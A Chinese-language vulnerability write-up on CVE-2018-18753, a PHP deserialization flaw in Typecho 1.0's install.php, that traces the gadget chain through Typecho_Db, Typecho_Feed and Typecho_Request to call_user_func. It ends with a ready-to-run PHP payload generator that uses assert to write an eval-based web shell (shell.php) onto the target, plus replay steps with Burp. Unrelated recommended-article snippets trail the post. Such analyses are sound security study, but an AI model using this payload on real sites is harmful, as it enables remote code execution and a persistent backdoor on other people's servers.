0x00 漏洞简介

  • CVE-2018-18753

  • 漏洞概述:

    typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码。

  • 影响版本:typecho1.0(14.10.10)

0x01 环境搭建

  1. 上传源码到 WEB 目录,上传完毕后使用浏览器直接访问安装目录即可看到 Typecho 的 安装程序 install.php。
  2. 提前在 Mysql 数据库中创建好一个库 名 Typecho,下一步会使用这个数据库
  3. 按照提示更改你的数据库相关信息和默认账号信息等等,手动生成提示的配置文件,最后按提示进行安装即可。

0x02 漏洞分析

  1. install.php 中发现了反序列化入口

    这里将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config

  1. 全局搜索定位 Typecho_Cookie::get() 方法,定位到文件 /var/Typecho/Cookie.php 中发现 _typercho_config 是可控的,可以看到这里对 POST 或者 Cookie 传入的__typecho_config 变量进行一个反序列化,并且不能为数组。

  1. 我们再回到 install.php 中 继续分析,Typecho_Cookie::delete() 方法用于删除指定的 cookie 值

  1. 接下来 new 了一个 Typecho_Db 的新对象$db,将 $config 中的 adapter 和 prefix 的值传入

  1. 全局搜索定位类 Typecho_Db,定位到文件 /var/Typecho/Db.php,到这个 __construct() 魔术方法中,这里将对象 $adapterName 直接拼接在一串字符串后面,也就是将 $adapterName 当作字符串拼接之后赋值给了 $adapterName,这个时候如果 adapterName 如果为一个对象的话,就会自动调用 __toString 魔术方法。

  1. 全局搜索 __toString(),定位到文件/var/Typecho/Feed.php ,发现使用了 $item['author']->screenName,而这个$item 是$this->_items 里面循环出来的,将 $item['author'] 赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法

    php 面向对象编程中是 禁止在对象外直接访问由 private 所定义的私有属性,但是在类中添加魔术方法__set(),__get(),__isset(),__unset()后可间接访问对象中的私有属性。

  1. 全局搜索 function __get() 魔术方法,定位到文件 /var/Typecho/Request.php

  1. 继续跟进 get() 方法

  1. get() 方法最后调用了一个 _applyFilter() 方法,跟进

  1. 发现 敏感函数 call_user_func() ,而且里面的两个参数都是$filter 是 $this->_filter 循环出来的 ,$value 则是由上面的 get() 函数中传参进来的,两个参数都是可控的,可以构造 $filter 为 system , $value 为 whoami ,就可以命令执行了

0x03 利用总结

  1. 上文分析可知 反序列化漏洞 存在于 install.php 文件的安装程序中,要正确执行安装程序需要两个参数,第一个参数就是通过 GET 传参一个 finish 赋一个任意值,第二个就是 _typecho_config 参数,而 这个_typecho_config 参数这个参数就是我们反序列化漏洞利用的重点。我们构造一个序列化后的字符串 POC 赋给 _typecho_config 参数,配合上文漏洞分析最后 1 步分析出的 敏感函数 call_user_func() 就可以达到命令执行的效果。

  1. 上文漏洞分析中第 2 步中,知道 __typecho_config 参数是由 Cookie 或者 POST 传参而来,且不能是数组。确定 payload 传参方式

  2. 下面分析重点就是如何构造一个序列化的字符串 _typecho_config,让其最终传入 敏感函数 call_user_func() 中而达到命令执行

  3. 上文漏洞分析中第 4 步 追踪 对象$db 的 new 的过程,发现在这个类的 __construct() 魔术方法中,对象 $adapterName 直接拼接到字符串中,会自动调用 __toString()魔术方法。而又通过全局搜索__toString()魔术方法 (上文漏洞分析中第 6 步),得知使用了一个属性可以利用$item['author']->screenName,$item['author']赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法。继续追踪 __get() 魔术方法,最终于发现 敏感函数 call_user_func() 并且它的两个参数 \$filter 和 $value 都是可控的。

  4. $filter 是 class Typecho_Request 的私有属性,$item['author'] 也就是 $this->_items 即 class Typecho_Feed 的 私有属性 $_items,问题来了,漏洞利用在 class Typecho_Request 中,$item['author'] 是对象时,访问私有属性 screenName 调用的 __get() 魔术方法是 class Typecho_Feed 的才能最终利用 敏感函数 call_user_func() 执行命令。解决方法是在 class Typecho_Feed 中 __construct()魔术方法中 new 一个 class Typecho_Request 的对象就可以解决。

  5. 由于 要绕过 敏感函数 call_user_func() 中的 is_array,因此 class Typecho_Request 中 私有属性 数据结构都是 array

  6. 由上文漏洞分析中第 4 步和第 5 步可知,$db 对象新建时传入了两个参数 $config['adapter'] 和 $config['prefix'],对象新建是首先会调用 __construct() 魔术方法,联系起来,$config['adapter']=new Typecho_Feed() 即可全部串起来。

  7. 最终的 payload 如下:

<?php
class Typecho_Request{
private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
private $_filter= array('assert');
}
class Typecho_Feed{
private $_items=array();
private $_type='ATOM 1.0';
public function __construct()
{
$items['author']=new Typecho_Request();
$this->_items[0]=$items;
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = 'typecho'; // 值是任意的
$payload = base64_encode(serialize($config));
echo $payload;
?>

0x04 漏洞复现

  1. 复制 payload,浏览器执行获取 base64 编码后的 payload 字符串

  1. burp 抓包,发送 payload,注意:Referer 需要是本站

  1. 成功写入 shell.php

Typecho 反序列化漏洞 分析及复现的更多相关文章

  1. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  2. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  3. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

  4. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  5. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  8. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

随机推荐

  1. python 建站教程

    主端:安装nginx uwsgi django pymysql mysql安装mysql到http://repo.mysql.com/里面找 mysql57-community-release-el7 ...

  2. mysql where in 数组解决小tips

    由于sql语法要求,不可在in后面直接连数组,若数组形式下,则需要转换成逗号隔开的字符串 <?php$arr = array(1,2,3,4,5);$arr_string= join(',', ...

  3. 解决报错:The import javax.servlet.annotation cannot be resolved

    maven项目,引入javax.servlet.annotation.WebServlet的jar包,使用@WebServlet注解来实现对传统web.xml中servlet和url的映射 报错:Th ...

  4. Initialization failed for 'https://start.spring.io' Please check URL, network and proxy settings.

    今天新建一个spring web项目,发现报错了.问题如下. 排除了网络问题,找到了解决办法.打开设置,点击check connection 输入 https://start.spring.io 点击 ...

  5. 常见错误0xCCCCCCCCC 读取字符串的字符时出错及其引申。

    问题描述在一个函数调用中,使用二级指针作为函数参数,传递一个字符串指针数组,但是在访问的时候,却出现了运行时错误,具体表现为"0xCCCCCCCC 读取字符串的字符时出错". 第一 ...

  6. Java实现完数

    完数 找出1-1000以下的完数 public static void main(String[] args) { for(int i=2;i<1000;i++) { int sum=0; fo ...

  7. Java-多态(上)

    什么是多态 同一方法可以根据发送对象的不同而采取多种不同的行为方式 一个对象实际类型是确定的 但指向其引用类型却有很多 注意事项 多态是方法的多态 属性没有多态 父类和子类 有联系 类型转换异常 Cl ...

  8. Go的Select

    Go 的通道有两种操作方式,一种是带 range 子句的 for 语句,另一种则是 select 语句,它是专门为了操作通道而存在的.这里主要介绍 select 的用法. 一.select的语法 se ...

  9. 使用 grpcurl 通过命令行访问 gRPC 服务

    原文链接: 使用 grpcurl 通过命令行访问 gRPC 服务 一般情况下测试 gRPC 服务,都是通过客户端来直接请求服务端.如果客户端还没准备好的话,也可以使用 BloomRPC 这样的 GUI ...

  10. HAOI2012高速公路bzoj2752 (线段树,数学)

    题目大意: 给定一个长度为n的链,一共m次操作 对于每次操作 \(C\ l\ r\ x\)表示将第l个点到第r个点之间的所有道路的权值增加v \(Q\ l\ r\)在第l个到第r个点里等概率随机取出两 ...